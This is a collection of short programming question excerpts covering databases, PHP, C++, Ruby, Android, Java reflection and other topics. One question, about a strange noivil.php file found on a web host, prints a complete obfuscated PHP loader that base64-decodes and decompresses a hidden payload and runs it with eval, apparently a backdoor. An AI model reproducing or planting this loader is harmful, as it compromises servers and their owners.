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• SQL Binary Microsoft Access - Combining two tables if specific field values are equal

  - by Jordan

  I am new to Microsoft Access and SQL but have a decent programming background and I believe this problem should be relatively simple. I have two tables that I have imported into Access. I will give you a little context. One table is huge and contains generic, global data. The other table is still big but contains specific, regional data. There is only one common field (or column) between the two tables. Let’s call this common field CF. The other fields in both tables are different. I’ll take you through one iteration of what I need to do. I need to take each CF value in the regional, smaller table and find the common CF value in the larger, global table. After finding the match, I need to take the whole “record” or “row” from the global data and copy it over to the corresponding record in the smaller regional table (This should involve creating the new fields). I need to do this for all CF values in the regional, smaller table. I was recommended to use SQL and a binary search, but I am unfamiliar. Let me know if you have any questions. I appreciate the help!

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• Big-O for GPS data

  - by HH

  A non-critical GPS module use lists because it needs to be modifiable, new routes added, new distances calculated, continuos comparisons. Well so I thought but my team member wrote something I am very hard to get into. His pseudo code int k =0; a[][] <- create mapModuleNearbyDotList -array //CPU O(n) for(j = 1 to n) // O(nlog(m)) for(i =1 to n) for(k = 1 to n) if(dot is nearby) adj[i][j]=min(adj[i][j], adj[i][k] + adj[k][j]); His ideas transformations of lists to tables His worst case time complexity is O(n^3), where n is number of elements in his so-called table. Exception to the last point with Finite structure: O(mlog(n)) where n is number of vertices and m is an arbitrary constants Questions about his ideas why to waste resources to transform constantly-modified lists to table? Fast? only point where I to some extent agree but cannot understand the same upper limits n for each for-loops -- perhaps he supposed it circular why does the code take O(mlog(n)) to proceed in time as finite structure? The term finite may be wrong, explicit?

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• Unserializing an API return object (PHP/Ebay API)

  - by DavidYell

  I have been working with the Ebay api for a project and have found it great. I have however found a problem now, more PHP related. When I read my items from Ebay, I store a bunch of details in the database. Currently, just for the sake of it really, I serialize the whole return object and store it in the database in a related table. The idea being, that when I display my information, I have all the details to hand should I need them. The problem arises in that the pricing information is always in a sub object. [ConvertedAdjustmentAmount] => __PHP_Incomplete_Class Object ( [__PHP_Incomplete_Class_Name] => eBayAmountType [_] => 0 [currencyID] => USD ) As you can see when I unserialize my object, my cunning plan falls foul of the Incomplete class problem. I have checked the following question, without success. http://stackoverflow.com/questions/965611/forcing-access-to-php-incomplete-class-object-properties The main issue lies, as far as I can see, in that the price class is stored in the Ebay api, so how do I recreate it? I have been reading this page, http://uk3.php.net/manual/en/function.unserialize.php and trying to figure out, unserialize_callback_func which I can't figure out either, so any help would be appreciated!

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• What is the difference between Inversion of Control and Dependency injection in C++?

  - by rlbond

  I've been reading recently about DI and IoC in C++. I am a little confused (even after reading related questions here on SO) and was hoping for some clarification. It seems to me that being familiar with the STL and Boost leads to use of dependency injection quite a bit. For example, let's say I made a function that found the mean of a range of numbers: template <typename Iter> double mean(Iter first, Iter last) { double sum = 0; size_t number = 0; while (first != last) { sum += *(first++); ++number; } return sum/number; }; Is this dependency injection? Inversion of control? Neither? Let's look at another example. We have a class: class Dice { public: typedef boost::mt19937 Engine; Dice(int num_dice, Engine& rng) : n_(num_dice), eng_(rng) {} int roll() { int sum = 0; for (int i = 0; i < num_dice; ++i) sum += boost::uniform_int<>(1,6)(eng_); return sum; } private: Engine& eng_; int n_; }; This seems like dependency injection. But is it inversion of control? Also, if I'm missing something, can someone help me out?

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• Ruby: counters, counting and incrementing

  - by Shyam

  Hi, If you have seen my previous questions, you'd already know I am a big nuby when it comes to Ruby. So, I discovered this website which is intended for C programming, but I thought whatever one can do in C, must be possible in Ruby (and more readable too). The challenge is to print out a bunch of numbers. I discovered this nifty method .upto() and I used a block (and actually understanding its purpose). However, in IRb, I got some unexpected behavior. class MyCounter def run 1.upto(10) { |x| print x.to_s + " " } end end irb(main):033:0> q = MyCounter.new => #<MyCounter:0x5dca0> irb(main):034:0> q.run 1 2 3 4 5 6 7 8 9 10 => 1 I have no idea where the = 1 comes from :S Should I do this otherwise? I am expecting to have this result: 1 2 3 4 5 6 7 8 9 10 Thank you for your answers, comments and feedback!

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• Heroku: Postgres type operator error after migrating DB from MySQL

  - by sevennineteen

  This is a follow-up to a question I'd asked earlier which phrased this as more of a programming problem than a database problem. http://stackoverflow.com/questions/2935985/postgres-error-with-sinatra-haml-datamapper-on-heroku I believe the problem has been isolated to the storage of the ID column in Heroku's Postgres database after running db:push. In short, my app runs properly on my original MySQL database, but throws Postgres errors on Heroku when executing any query on the ID column, which seems to have been stored in Postgres as TEXT even though it is stored as INT in MySQL. My question is why the ID column is being created as INT in Postgres on the data transfer to Heroku, and whether there's any way for me to prevent this. Here's the output from a heroku console session which demonstrates the issue: Ruby console for myapp.heroku.com >> Post.first.title => "Welcome to First!" >> Post.first.title.class => String >> Post.first.id => 1 >> Post.first.id.class => Fixnum >> Post[1] PostgresError: ERROR: operator does not exist: text = integer LINE 1: ...", "title", "created_at" FROM "posts" WHERE ("id" = 1) ORDER... ^ HINT: No operator matches the given name and argument type(s). You might need to add explicit type casts. Query: SELECT "id", "name", "email", "url", "title", "created_at" FROM "posts" WHERE ("id" = 1) ORDER BY "id" LIMIT 1 Thanks!

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• DB Design to store custom fields for a table

  - by Fazal

  Hi All, this question came up based on the responses I got for the question http://stackoverflow.com/questions/2785033/getting-wierd-issue-with-to-number-function-in-oracle As everyone suggested that storing Numeric values in VARCHAR2 columns is not a good practice (which I totally agree with), I am wondering about a basic Design choice our team has made and whether there are better way to design. Problem Statement : We Have many tables where we want to give certain number of custom fields. The number of required custom fields is known, but what kind of attribute is mapped to the column is available to the user E.g. I am putting down a hypothetical scenario below Say you have a laptop which stores 50 attribute values for every laptop record. Each laptop attributes are created by the some admin who creates the laptop. A user created a laptop product lets say lap1 with attributes String, String, numeric, numeric, String Second user created laptop lap2 with attributes String,numeric,String,String,numeric Currently there data in our design gets persisted as following Laptop Table Id Name field1 field2 field3 field4 field5 1 lap1 lappy lappy 12 13 lappy 2 lap2 lappy2 13 lappy2 lapp2 12 This example kind of simulates our requirement and our design Now here if somebody is lookinup records for lap2 table doing a comparison on field2, We need to apply TO_NUMBER. select * from laptop where name='lap2' and TO_NUMBER(field2) < 15 TO_NUMBER fails in some cases when query plan decides to first apply to_number instead of the other filter. QUESTION Is this a valid design? What are the other alternative ways to solve this problem One of our team mates suggested creating tables on the fly for such cases. Is that a good idea How do popular ORM tools give custom fields or flex fields handling? I hope I was able to make sense in the question. Sorry for such a long text.. This causes us to use TO_NUMBER when queryio

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• Protecting my apps security from deassembling

  - by sandis

  So I recently tested deassembling one of my android apps, and to my horror I discovered that the code was quite readable. Even worse, all my variable names where intact! I thought that those would be compressed to something unreadable at compile time. The app is triggered to expire after a certain time. However, now it was trivial for me to find my function named checkIfExpired() and find the variable "expired". Is there any good way of making it harder for a potential hacker messing with my app? Before someone states the obvious: Yes, it is security through obscurity. But obviously this is my only option since the user always will have access to all my code. This is the same for all apps. The details of my deactivation-thingy is unimportant, the point is that I dont want deassembler to understand some of the things I do. side questions: Why are the variable names not compressed? Could it be the case that my program would run faster if I stopped using really long variable names, as are my habit?

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• Weird PHP file on my website

  - by sam

  Today i noticed that there was a strange new file called "noivil.php" on my webspace. The contents of it are very long and I have no idea what it does! <?php $k='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';$r='YmFzZTY0X2RlY29kZQ==';$rr='WjNwMWJtTnZiWEJ5WlhOeg==';$rrr=base64_decode($r);$rrrr=$rrr($rrr($rr));eval($rrrr($rrr($k))); When I run it it just outputs some random stuff I don't understand. My questions: What is this? Where did it come from? Is it a virus/trojan? What does it exactly do? You are better at PHP than me, maybe you can tell what it is Thanks in advance

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• The application has stopped unexpectedly: How to Debug?

  - by Android Eve

  Please note, unlike many other questions having the subject title "application has stopped unexpectedly", I am not asking for troubleshooting a particular problem. Rather, I am asking for an outline of the best strategy for an Android/Eclipse/Java rookie to tackle this formidable task of digesting huge amounts of information in order to develop (and debug!) a simple Android application. In my case, I took the sample skeleton app from the SDK, modified it slightly and what did I get the moment I try to run it? The application (process.com.example.android.skeletonapp) has stopped unexpectedly. Please try again. OK, so I know that I have to look LogCat. It's full of timestamped lines staring at me... What do I do now? What do I need to look for? Is there a way to single-step the program, to find the statement that makes the app crash? (I thought Java programs never crash, but apparently I was mistaken) How do I place a breakpoint? Can you recommend an Android debug tutorial online, other than this one?

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• Queuing using table or MSMQ?

  - by Lieven Cardoen

  A part of the application I'm working on is an swf that shows a test with some 80 questions. Each question is saved to a sql server through WebORB and asp.net. If a candidate finisheds the test, the session needs to be validated. Problem now is that sometimes 350 candidates finish their test at the same moment, and cpu on webserver and sql server explodes (350 validations concurrently). Now, how would I implement queuing here? In the database, there's a table that has a record for each session. One column holds the status. 1 is finished, 2 is validated. I could implement queuing in two ways (as I see it, maybe you have other propositions): A process that checks the table for records with status 1. If it finds one, it validates the session. So, sessions are validated one after one. If a candidate finishes its session, a message is sent to a MSMQ queue. Another process listens to the queue and validates sessions one after one. Now, What would be the best approach? Where do you start the process that will validate sessions? In your global.asax (application_start)? As a windows service? As an exe on the root of the website that is started in application_start? To me, using the table and looking for records with status 1 seems the easiest way.

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• jQuery Syntax Error - Trying to detect viewport size and select background image to use w/CSS

  - by CuppyCakes

  Hi all. Please be gentle, I'm still learning. I imagine that the solution to my problem is simple and that perhaps I have just been in front of the computer too long. I am trying to detect the size of the viewport, and then use a different sized image for a background on an element depending on the size of the viewport. Here is what I have so far: $(document).ready(function(){ var pageWidth = $(window).width(); if ( pageWidth <= 1280 ) { $('#contact').css('background-image', 'url(../images/contact_us_low.jpg)'); } elseif ( pageWidth > 1280 ) { $('#contact').css('background-image', 'url(../images/contact_us_high.jpg)'); } }); Error: missing ; before statement [Break on this error] elseif ( pageWidth 1280 ) {\n (Line 7) To me it seems like all of my semi-colons are in the right place. Two questions: Am I going about solving the problem in a sensible way? To me a simple conditional should solve this background problem, as the code is merely selecting between two images based on what size it detects the viewport to be. Can you please help point out my n00b syntax error? Sometimes it really does help to have an extra pair of eyes look at something like this, even if small. Thank you kindly for your advice, I will continue poking and perusing the docs I have available to me.

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• Excel VBA creating a new column with formula

  - by Amatya

  I have an excel file with a column which has date data. I want the user to input a date of their choosing and then I want to create a new column that lists the difference in days between the two dates. The Macro that I have is working but I have a few questions and I would like to make it better. Link to MWE small data file is here. The user input date was 9/30/2013, which I stored in H20 Macro: Sub Date_play() Dim x As Date Dim x2 As Date Dim y As Variant x = InputBox(Prompt:="Please enter the Folder Report Date. The following formats are acceptable: 4 1 2013 or April 1 2013 or 4/1/2013") x2 = Range("E2") y = DateDiff("D", x2, x) MsgBox y 'Used DateDiff above and it works but I don't know how to use it to fill a column or indeed a cell. Range("H20").FormulaR1C1 = x Range("H1").FormulaR1C1 = "Diff" Range("H2").Formula = "=DATEDIF(E2,$H$20,""D"")" Range("H2").AutoFill Destination:=Range("H2:H17") Range("H2:H17").Select End Sub Now, could I have done this without storing the user input date in a particular cell? I would've preferred to use the variable "x" in the formula but it wasn't working for me. I had to store the user input in H20 and then use $H$20. What's the difference between the function Datedif and the procedure DateDiff? I am able to use the procedure DateDiff in my macro but I don't know how to use it to fill out my column. Is one method better than the other? Is there a better way to add columns to the existing sheet, where the columns include some calculations involving existing data on the sheet and some user inputs? There are tons of more complicated calculations I want to do next. Thanks

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• Are certain open-source licenses more suitable than others for career growth?

  - by Francisco Garcia

  As a software engineer/programmer myself, I love the possibility to download the code and learn from it. However building software is what brings food to my table. I have doubts regarding the type of license I should use for my own personal projects or when picking up one project to learn from. There are already many questions about licenses on Stackoverflow, but I would like to make this one much more specific. If your main profession and way of living is building software: which type of license do you find more useful for you? And I mean, the license that can benefit you most as a professional because it gives you more freedom to reuse the experience you gain. GPL is a great license to build communities because it forces you to give back your work. However I like BSD licenses because of their extra freedom. I know that if the code I am exploring is BSD licensed, I might be able to expand not only my skills, but also my programmer toolbox. Whenever I am working for a company, I might recall that something similar was done in another project and I will be able to copy or imitate certain part of the code. I know that there are religious wars regarding GPL vs BSD and it is not my intention to start one. Probably many companies already take snipsets from GPL projects anyway. I just want to insist in the factor of professional enrichment. I do not intend to discriminate any license. I said I prefer BSD licenses but I also use Linux because the user base is bigger and also the market demand.

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• Begin game programming basics

  - by AJ

  My 14 year old kid brother wants to learn to program games. He has never programmed but would like to learn programming. His interest lies with games and game programming and he understands that it can be difficult but he wants to do that. So, obviously, I turned to SO folks to know what you feel on how he should go about it. Remember, please suggest on Areas that beginners can choose, how to begin in that area, what to read in the beginning, initial languages in the beginning etc. Once the beginning part is taken care of, you may also suggest the intermediate and advanced stuff but this question is about very beginning level. If there are areas like Web games Vs. console games Vs generic computer games, then please advice on the areas. As I said he has never programmed, he might want to try all the areas and choose the one he likes the best. I hope this is not too much to ask for someone who is in this field but if this question is huge, please advice on how to break it into multiple questions. ~Thanks.

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• java.lang.ClassNotFoundException in Netbeans. 5 hours to fix

  - by user1304281

  Hi I've got to submit an interpreter assignment tonight and all of a sudden it stopped working! It was working yesterday but now when I try to create a class instance at runtime I get classnotfoundexception. My project has no libraries or dependencies, I've written everything myself. I've googled around and it seems to be an issue with classpath but I've had no luck fooling with the project properties on netbeans. Here's some code: package interpreter; import interpreter.bytecode.ByteCode; import java.io.*; import java.lang.reflect.*; class ByteCodeLoader { //.... String codeClass = CodeTable.CodeTable.get(args[0]); ByteCode bytecode = (ByteCode)(Class.forName("interpreter.bytecode."+codeClass).newInstance()); //this throws exception } all of my ByteCodes are contained within a subpackage of interpreter called interpreter.bytecode. I'll be watching this thread so I can answer/clarify any questions immediately. Thanks for your time!

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• Android: How to periodically check current location without draining the battery

  - by uyahalom

  I have a background service which works periodically by timer.scheduleAtFixedRate. It wakes up every amount of time (let's say 60 seconds for example) and checks for the location. The location is checked by locManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 60000, 5, listener); and the actual location is collected from the listener's onLocationChanged. Now, when the phone is outside and GPS reception is good, this works fine. But, if the phone is inside, the GPS is almost always active - looking for a signal, and the battery is drained rapidly. I created another thread using a Handler and a Runnable in order to conrol the GPS active time accurately: I used locManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 0, 0, listener); and locManager.removeUpdates(listener); so I can open and close the GPS as I want. In this case, I can open the GPS for the exact amount of time, but found out that it doesn't lock in an area with good reception even after 10 seconds. So here I'm draining the battery again... I'm using API level 7, hence I cannot use locationManager.requestSingleUpdate. I have two questions: Is there any way to optimize this process? Will upgrading to API level 9 (and use locationManager.requestSingleUpdate) improve the process significantly? I mean, does it worth upgrading?

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• iPhone development - app design patterns

  - by occulus

  There are tons of resources concerning coding on the iPhone. Most of them concern "how do I do X", e.g. "setup a navigation controller", or "download text from a URL". All good and fine. What I'm more interested in now are the questions that follow the simpler stuff - how to best structure your complex UI, or your app, or the common problems that arise. To illustrate: a book like "Beginning iPhone 3 Development" tells you how to set up a multi viewcontroller app with an top 'switcher' viewcontroller that switches between views owned by other view controllers. Fine, but you're only told how to do that, and nothing about the problems that can follow: for example, if I use their paradigm to switch to a UINavigationViewController, the Navigation bar ends up too low on the screen, because UINavigationViewController expects to be the topmost UIViewController (apparently). Also, delegate methods (e.g. relating to orientation changes) go to the top switcher view controller, not the actual controller responsible for the current view. I have fixes for these things but they feel like hacks which makes me unhappy and makes me feel like I'm missing something. One productive thing might be to look at some open source iPhone projects (see this question). But aside from that?

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• Does the pointer to free() have to point to beginning of the memory block, or can it point to the interior?

  - by Lambert

  The question is in the title... I searched but couldn't find anything. Edit: I don't really see any need to explain this, but because people think that what I'm saying makes no sense (and that I'm asking the wrong questions), here's the problem: Since people seem to be very interested in the "root" cause of all the problem rather than the actual question asked (since that apparently helps things get solved better, let's see if it does), here's the problem: I'm trying to make a D runtime library based on NTDLL.dll, so that I can use that library for subsystems other than the Win32 subsystem. So that forces me to only link with NTDLL.dll. Yes, I'm aware that the functions are "undocumented" and could change at any time (even though I'd bet a hundred dollars that wcstombs will still do the same exact thing 20 years from now, if it still exists). Yes, I know people (especially Microsoft) don't like developers linking to that library, and that I'll probably get criticized for the right here. And yes, those two points above mean that programs like chkdsk and defragmenters that run before the Win32 subsystem aren't even supposed to be created in the first place, because it's literally impossible to link with anything like kernel32.dll or msvcrt.dll and still have NT-native executables, so we developers should just pretend that those stages are meant to be forever out of our reaches. But no, I doubt that anyone here would like me to paste a few thousand lines of code and help me look through them and try to figure out why memory allocations that aren't failing are being rejected by the source code I'm modifying. So that's why I asked about a different problem than the "root" cause, even though that's supposedly known to be the best practice by the community. If things still don't make sense, feel free to post comments below! :)

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• how can i set up a uniqueness constraint in mysql for columns that can be null?

  - by user299689

  I know that in MySQL, UNIQUE constraits don't treat NULL values as equal. So if I have a unique constraint on ColumnX, then two separate rows can have values of NULL for ColumnX and this wouldn't violate the constraint. How can I work around this? I can't just set the value to an arbitrary constant that I can flag, because ColumnX in my case is actually a foreign key to another table. What are my options here? Please note that this table also has an "id" column that is its primary key. Since I'm using Ruby on Rails, it's important to keep this id column as the primary key. Note 2: In reality, my unique key encompasses many columns, and some of them have to be null, because they are foreign keys, and only one of them should be non-null. What I'm actually trying to do is to "simulate" a polymorphic relationship in a way that keep referential integrity in the db, but using the technique outlined in the first part of the question asked here: http://stackoverflow.com/questions/922184/why-can-you-not-have-a-foreign-key-in-a-polymorphic-association

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• How to limit setAccessible to only "legitimate" uses?

  - by polygenelubricants

  The more I learned about the power of setAccessible, the more astonished I am at what it can do. This is adapted from my answer to the question (Using reflection to change static final File.separatorChar for unit testing). import java.lang.reflect.*; public class EverythingIsTrue { static void setFinalStatic(Field field, Object newValue) throws Exception { field.setAccessible(true); Field modifiersField = Field.class.getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL); field.set(null, newValue); } public static void main(String args[]) throws Exception { setFinalStatic(Boolean.class.getField("FALSE"), true); System.out.format("Everything is %s", false); // "Everything is true" } } You can do truly outrageous stuff: public class UltimateAnswerToEverything { static Integer[] ultimateAnswer() { Integer[] ret = new Integer[256]; java.util.Arrays.fill(ret, 42); return ret; } public static void main(String args[]) throws Exception { EverythingIsTrue.setFinalStatic( Class.forName("java.lang.Integer$IntegerCache") .getDeclaredField("cache"), ultimateAnswer() ); System.out.format("6 * 9 = %d", 6 * 9); // "6 * 9 = 42" } } Presumably the API designers realize how abusable setAccessible can be, but must have conceded that it has legitimate uses to provide it. So my questions are: What are the truly legitimate uses for setAccessible? Could Java has been designed as to NOT have this need in the first place? What would the negative consequences (if any) of such design be? Can you restrict setAccessible to legitimate uses only? Is it only through SecurityManager? How does it work? Whitelist/blacklist, granularity, etc? Is it common to have to configure it in your applications?

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• Basic problems (type inference or something else?) in Objective-C/Cocoa.

  - by Matt

  Hi, Apologies for how basic these questions are to some. Just started learning Cocoa, working through Hillegass' book, and am trying to write my first program (a GUI Cocoa app that counts the number of characters in a string). I tried this: NSString *string = [textField stringValue]; NSUInteger *stringLength = [string length]; NSString *countString = (@"There are %u characters",stringLength); [label setStringValue:countString]; But I'm getting errors like: Incompatible pointer conversion initializing 'NSUInteger' (aka 'unsigned long'), expected 'NSUInteger *'[-pedantic] for the first line, and this for the second line: Incompatible pointer types initializing 'NSUInteger *', expected 'NSString *' [-pedantic] I did try this first, but it didn't work either: [label setStringValue:[NSString stringWithFormat:@"There are %u characters",[[textField stringValue] length]]] On a similar note, I've only written in easy scripting languages before now, and I'm not sure when I should be allocing/initing objects and when I shouldn't. For example, when is it okay to do this: NSString *myString = @"foo"; or int *length = 5; instead of this: NSString *myString = [[NSString alloc] initWithString:"foo"]; And which ones should I be putting into the header files? I did check Apple's documentation, and CocoaDev, and the book I'm working for but without luck. Maybe I'm looking in the wrong places.. Thanks to anyone who takes the time to reply this: it's appreciated, and thanks for being patient with a beginner. We all start somewhere. EDIT Okay, I tried the following again: [label setStringValue:[NSString stringWithFormat:@"There are %u characters",[[textField stringValue] length]]] And it actually worked this time. Not sure why it didn't the first time, though I think I might have typed %d instead of %u by mistake. However I still don't understand why the code I posted at the top of my original post doesn't work, and I have no idea what the errors mean, and I'd very much like to know because it seems like I'm missing something important there.

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• NHibernate: What are child sessions and why and when should I use them?

  - by stefando

  In the comments for the ayende's blog about the auditing in NHibernate there is a mention about the need to use a child session:session.GetSession(EntityMode.Poco). As far as I understand it, it has something to do with the order of the SQL operation which session.Flush will emit. (For example: If I wanted to perform some delete operation in the pre-insert event but the session was already done with deleting operations, I would need some way to inject them in.) However I did not find documentation about this feature and behavior. Questions: Is my understanding of child sessions correct? How and in which scenarios should I use them? Are they documented somewhere? Could they be used for session "scoping"? (For example: I open the master session which will hold some data and then I create 2 child-sessions from the master one. I'd expect that the two child-scopes will be separated but the will share objects from the master session cache. Is this the case?) Are they first class citizens in NHibernate or are they just hack to support some edge-case scenarios? Thanks in advance for any info.

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• Coordinating typedefs and structs in std::multiset (C++)

  - by Sarah

  I'm not a professional programmer, so please don't hesitate to state the obvious. My goal is to use a std::multiset container (typedef EventMultiSet) called currentEvents to organize a list of structs, of type Event, and to have members of class Host occasionally add new Event structs to currentEvents. The structs are supposed to be sorted by one of their members, time. I am not sure how much of what I am trying to do is legal; the g++ compiler reports (in "Host.h") "error: 'EventMultiSet' has not been declared." Here's what I'm doing: // Event.h struct Event { public: bool operator < ( const Event & rhs ) const { return ( time < rhs.time ); } double time; int eventID; int hostID; }; // Host.h ... void calcLifeHist( double, EventMultiSet * ); // produces compiler error ... void addEvent( double, int, int, EventMultiSet * ); // produces compiler error // Host.cpp #include "Event.h" ... // main.cpp #include "Event.h" ... typedef std::multiset< Event, std::less< Event > > EventMultiSet; EventMultiSet currentEvents; EventMultiSet * cePtr = &currentEvents; ... Major questions Where should I include the EventMultiSet typedef? Are my EventMultiSet pointers obviously problematic? Is the compare function within my Event struct (in theory) okay? Thank you very much in advance.

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• Classical task-scheduling assignment

  - by Bruno

